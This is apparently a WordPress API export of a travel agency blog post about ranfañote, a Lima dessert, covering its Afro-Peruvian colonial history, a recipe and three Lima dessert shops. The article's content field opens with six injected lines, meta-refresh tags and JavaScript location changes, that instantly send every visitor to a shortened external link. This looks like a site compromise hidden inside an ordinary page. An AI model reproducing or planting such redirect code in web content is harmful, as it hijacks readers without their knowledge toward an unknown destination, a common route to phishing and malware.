{"id":13431,"date":"2025-07-09T10:22:18","date_gmt":"2025-07-09T15:22:18","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=13431"},"modified":"2025-07-09T10:22:21","modified_gmt":"2025-07-09T15:22:21","slug":"ranfanote-a-traditional-lima-dessert-you-must-try","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/ranfanote-a-traditional-lima-dessert-you-must-try\/","title":{"rendered":"Ranfa\u00f1ote: A Traditional Lima Dessert You Must Try"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>In the heart of Lima, Peru&#8217;s bustling capital, tradition meets modernity in more ways than one, especially when it comes to desserts. One sweet treat that&#8217;s won over locals is ranfa\u00f1ote. <\/p>\n\n\n\n<p>It might not be as well-known internationally as some other Peruvian desserts, but it is still a favorite for Lime\u00f1os.<\/p>\n\n\n\n<p>Ranfa\u00f1ote has a smooth, slightly chewy texture and a flavor that&#8217;s a perfect mix of caramel sweetness and a hint of spice. It&#8217;s a delicious taste of Lima&#8217;s rich food scene.<\/p>\n\n\n\n<p>So, where did ranfa\u00f1ote come from? We&#8217;re taking a closer look at its origins in Lima, sharing a simple and traditional recipe, and exploring why it holds such importance for Peruvians. Also, we&#8217;ll point out some great spots to try this authentic dessert.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Tradition Rooted in Lima\u2019s Culinary History<\/strong><\/h2>\n\n\n\n<p>Firstly, when discussing a dish&#8217;s history, it is inevitable to consider the events that preceded and influenced its creation. <\/p>\n\n\n\n<p>Ranfa\u00f1ote&#8217;s roots go back to the colonial era. For instance, during this time, <a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/lima\"><strong>Lima&#8217;s<\/strong><\/a><strong> <\/strong>food became richer. Spanish, African, and Indigenous cooking styles blended.<\/p>\n\n\n\n<p>As agriculture grew in the Americas, colonizers needed more labor for plantations. So, they turned to the transatlantic slave trade. In this context, the Afro-descendant population in Lima played a crucial role in the local gastronomy.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7LIDLPWMHBCEHK7D5QDSJTPRZM.jpg?resize=697%2C392&#038;ssl=1\" alt=\"A picture that show Pregoneros selling ranfa\u00f1ote and other Peruvian desserts\" class=\"wp-image-13435\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7LIDLPWMHBCEHK7D5QDSJTPRZM.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7LIDLPWMHBCEHK7D5QDSJTPRZM.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7LIDLPWMHBCEHK7D5QDSJTPRZM.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7LIDLPWMHBCEHK7D5QDSJTPRZM.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Peruvian historians state that &#8220;ranfa\u00f1ote is one of Lima&#8217;s oldest sweets and is closely linked to the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/afro-peruvian-culture-history-and-traditions-in-peru\/\"><strong>Afro-Peruvian<\/strong><\/a> population.&#8221; This statement shows that enslaved people used leftover bread tossed aside by their masters.<\/p>\n\n\n\n<p>\u00a0Eventually, they made ranfa\u00f1ote, a sweet treat they enjoyed and sold on the streets of Lima. Ricardo Palma, a colonial-time Peruvian writer, stated that \u201cthese <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/limas-pregoneros-the-voices-that-brought-a-city-to-life\/\" title=\"\">pregoneros<\/a><\/strong>&#8220;<strong> <\/strong>used to sell a variety of traditional sweets and desserts, including ranfa\u00f1ote.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Origin of Ranfa\u00f1ote<\/strong><\/h2>\n\n\n\n<p>One thing that must be known is that in pre-Columbian America, there were no such things as desserts. However, ancient Peruvians and Incas enjoyed certain sweet foods.<\/p>\n\n\n\n<p>For instance,<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-garcilaso-de-la-vega-a-tale-of-two-worlds\/\"><strong> Inca Garcilaso de la Vega<\/strong><\/a> noted that the continent\u2019s people liked sweet flavors.\u00a0\u00a0Before the Spanish arrived, Indigenous communities consumed honey and experimented with various sweet fruits and plants. <\/p>\n\n\n\n<p>In the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-inca-empires-greatness-the-story-of-tahuantinsuyo\/\"><strong>Inca Empire, or Tahuantinsuyo,<\/strong><\/a> sugar as we know it today\u2014derived from sugarcane\u2014did not exist. Actually, Europeans started cultivating it in the late 15th century.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Theories about its Origin<\/strong><\/h2>\n\n\n\n<p>Although there are many theories regarding its origin, it probably originated from a practice among enslaved people in Lima, who would enjoy hardened bread soaked in cane syrup. Because of its humble roots, the upper class often viewed it as just an &#8220;ordinary&#8221; dessert.<\/p>\n\n\n\n<p>The other theory connects its origins to the War of the Pacific in the 19th century. For example, researcher Jos\u00e9 Cartagena says, &#8220;Toasted bread and cheese were part of the rations given to soldiers during the war with Chile.&#8221; Another theory suggests that Afro-descendant enslaved women in her hometown created it.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/N2KE6IVPUJCLTCIQ5HPMJ6VDSQ.jpg?resize=697%2C392&#038;ssl=1\" alt=\"African slaves in  ancient Peru working in sugar cane plantations\" class=\"wp-image-13436\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/N2KE6IVPUJCLTCIQ5HPMJ6VDSQ.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/N2KE6IVPUJCLTCIQ5HPMJ6VDSQ.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/N2KE6IVPUJCLTCIQ5HPMJ6VDSQ.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/N2KE6IVPUJCLTCIQ5HPMJ6VDSQ.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Probably, black slaves used the leftovers of their masters to mix and create something to eat. As you can see, althoughranfa\u00f1ote origins may be unclear, this sweet has certainly changed over time.\u00a0<\/p>\n\n\n\n<p>Over time, the recipe has changed, and today people add raisins, coconut, and cheese, which are key ingredients. The most important part is the fusion of cheese with chancaca syrup and bread.&#8221;&nbsp;<\/p>\n\n\n\n<p>At one time, ranfa\u00f1ote was at risk of fading from memory. Thankfully, the descendants of those who perfected its preparation have worked hard to keep the tradition alive.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ranfa\u00f1ote in the Convents<\/strong><\/h3>\n\n\n\n<p>Additionally, the convents of Lima played a fundamental role in preserving and disseminating colonial gastronomy. <\/p>\n\n\n\n<p>These spaces were not only centers of faith and knowledge but also hubs of culinary art. Nuns from convents like San Francisco, Santo Domingo, and Santa Rosa de Lima made desserts.\u00a0<\/p>\n\n\n\n<p>They used recipes from Spain and taught enslaved and Indigenous women how to prepare them. Marisa Guiulfo, a well-known Peruvian chef, supports this tradition. She says, &#8220;In convents, nuns spent hours making desserts.&nbsp;<\/p>\n\n\n\n<p>They used Spanish recipes and taught enslaved Black and Indigenous women how to prepare them.&#8221; In this way, ranfa\u00f1ote became an essential part of Lima&#8217;s gastronomy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cooking with Viagens Machu Picchu: A simple Ranfa\u00f1ote recipe<\/strong><\/h2>\n\n\n\n<p>Use 4 loaves of bread (preferably French bread) that are a day old. Cut them into cubes and toast them in a pan with butter. Once ready, set them aside in a container.&nbsp;<\/p>\n\n\n\n<p>Next, in a pot, add 1 cup of water, 2 blocks of chancaca (unrefined sugar cane), 3 cloves, \u00bd teaspoon of anise seeds, and 1 piece of orange peel.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9718202665_004de8b692_k.jpg?resize=697%2C465&#038;ssl=1\" alt=\"3 Women in colonial clothes selling freshly made ranfa\u00f1ote\" class=\"wp-image-13433\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9718202665_004de8b692_k.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9718202665_004de8b692_k.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9718202665_004de8b692_k.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9718202665_004de8b692_k.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9718202665_004de8b692_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9718202665_004de8b692_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9718202665_004de8b692_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>&nbsp;Mix all the ingredients and bring them to a boil until the mixture reaches a syrup-like consistency. In a bowl, mix the toasted bread with these ingredients: 125 grams of chopped pecans, walnuts, and coconut.&nbsp;<\/p>\n\n\n\n<p>Add 100 grams of both golden and black raisins, plus 100 grams of diced Paria cheese. Finally, mix everything well, add the syrup, and mix again. <\/p>\n\n\n\n<p>This recipe serves four portions. Some people sprinkle grated coconut, or dried fruit\u00a0 on it, or join it with ice cream<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Where to Try Authentic Ranfa\u00f1ote in Peru<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Dulcer\u00eda Santa Rosa&nbsp;<\/strong><\/h3>\n\n\n\n<p>This sweet restaurant began in 1968. Rosa Emilia Luna and her husband, Maynor Scheelje, started it. For over fifty years, it has been a key place for traditional Peruvian desserts.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7WEKUMV2PJFIBO3C5CQNWQQ4OQ.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Four Peruvian desserts such as ranfa\u00f1ote,sanguito, and more\" class=\"wp-image-13438\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7WEKUMV2PJFIBO3C5CQNWQQ4OQ.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7WEKUMV2PJFIBO3C5CQNWQQ4OQ.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7WEKUMV2PJFIBO3C5CQNWQQ4OQ.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7WEKUMV2PJFIBO3C5CQNWQQ4OQ.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/7WEKUMV2PJFIBO3C5CQNWQQ4OQ.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>This home-based business quickly became popular among locals for its cozy atmosphere.Besides the ranfa\u00f1ote, don\u2019t miss the arroz con leche, arroz zambito, or limon relleno de dulce de leche.<\/p>\n\n\n\n<p><strong><em>Address: Jr. Leoncio Prado in Magdalena del Mar,Lima<\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Manjares \u2013 Dulces Peruanos<\/strong><\/h3>\n\n\n\n<p>This dessert restaurant has over twenty years of experience. You must try the mousse de pisco, turrones de do\u00f1a Pepa, and suspiro a la lime\u00f1a. If you have a sweet tooth, this is your place!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/miren-todos-los-postres.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Traditional desserts at Manjares Dulces Peruanos dessert place\" class=\"wp-image-13439\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/miren-todos-los-postres.jpg?w=900&amp;ssl=1 900w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/miren-todos-los-postres.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/miren-todos-los-postres.jpg?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong><em>Address: Av San Luis 1984, int A, San Borja, Lima<\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Maga Mis Suspiros&nbsp;<\/strong><\/h3>\n\n\n\n<p>Inspired by founder Magaly Jacobs, Maga Mis Suspiros specializes in various versions of the classic <em>suspiro a la lime\u00f1a<\/em>. This shop offers 18 unique flavors of this iconic dessert.\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/magas.jpg?resize=697%2C697&#038;ssl=1\" alt=\"Desserts and typical Peruvian desserts at Maga Mis suspiros\" class=\"wp-image-13440\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/magas.jpg?w=720&amp;ssl=1 720w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/magas.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/magas.jpg?resize=150%2C150&amp;ssl=1 150w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>This fun take on a classic favorite offers a unique taste, mixing familiar flavors with fresh ideas. Don\u2019t forget mazamorra morada, made with purple corn, arroz con leche, and obviously, ranfa\u00f1ote.<\/p>\n\n\n\n<p><strong><em>Address: Av. Benavides 1113,&nbsp; Miraflores, Lima&nbsp;<\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>More than something sweet<\/strong><\/h2>\n\n\n\n<p>In conclusion, ranfa\u00f1ote is more than just a delicious dessert; it represents Peru&#8217;s rich history and culture. This delightful treat comes from the creativity of people who turned simple ingredients into something special that has lasted for generations.<\/p>\n\n\n\n<p>Ranfa\u00f1ote is a wonderful way to connect with Peru&#8217;s history and culture! Stay tuned to our blog to learn more about traditional Peruvian food, culture, and more!<\/p>\n\n\n\n<p>Finally, keep in mind, too, that Viagens Machu Picchu can assist you in making your dreams come true in Peru. <\/p>\n\n\n\n<p>Feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong>, so our consultants can give you the best of our packages, deals, and promotions. The adventure in Peruvian lands awaits!\u00a0<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a1Ranfa\u00f1ote is a traditional Peruvian dessert from Lima with Afro-Peruvian roots dating back to colonial times. Made with toasted bread, chancaca syrup, cheese, and nuts, it blends sweet and savory flavors. Once at risk of fading, it remains a beloved treat in Peru\u2019s rich gastronomy.  <\/p>\n","protected":false},"author":1,"featured_media":13434,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1850,201,3495],"tags":[5789,2929,5785,5529,1690,5787,5784,5060,5788,5752,3200,5786,5059,1907,5790,5791,5792],"class_list":["post-13431","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-food","category-lima","category-peruvian-flavors","tag-19th-centuries","tag-arroz-con-leche","tag-arroz-zambito","tag-chancaca-syrup","tag-colonial-era","tag-de-dona-pepa","tag-dried-fruit","tag-dulce-de-leche","tag-grated-coconut","tag-ice-cream","tag-mazamorra-morada","tag-orange-peel","tag-peruvian-desserts","tag-purple-corn","tag-sugarcane","tag-suspiro-a-la-limena","tag-turrones-de"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/9721432622_d3d48ec56d_k.jpg?fit=2048%2C1366&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3uD","jetpack_sharing_enabled":true,"amp_enabled":false,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13431","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=13431"}],"version-history":[{"count":2,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13431\/revisions"}],"predecessor-version":[{"id":16888,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13431\/revisions\/16888"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/13434"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=13431"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=13431"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=13431"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}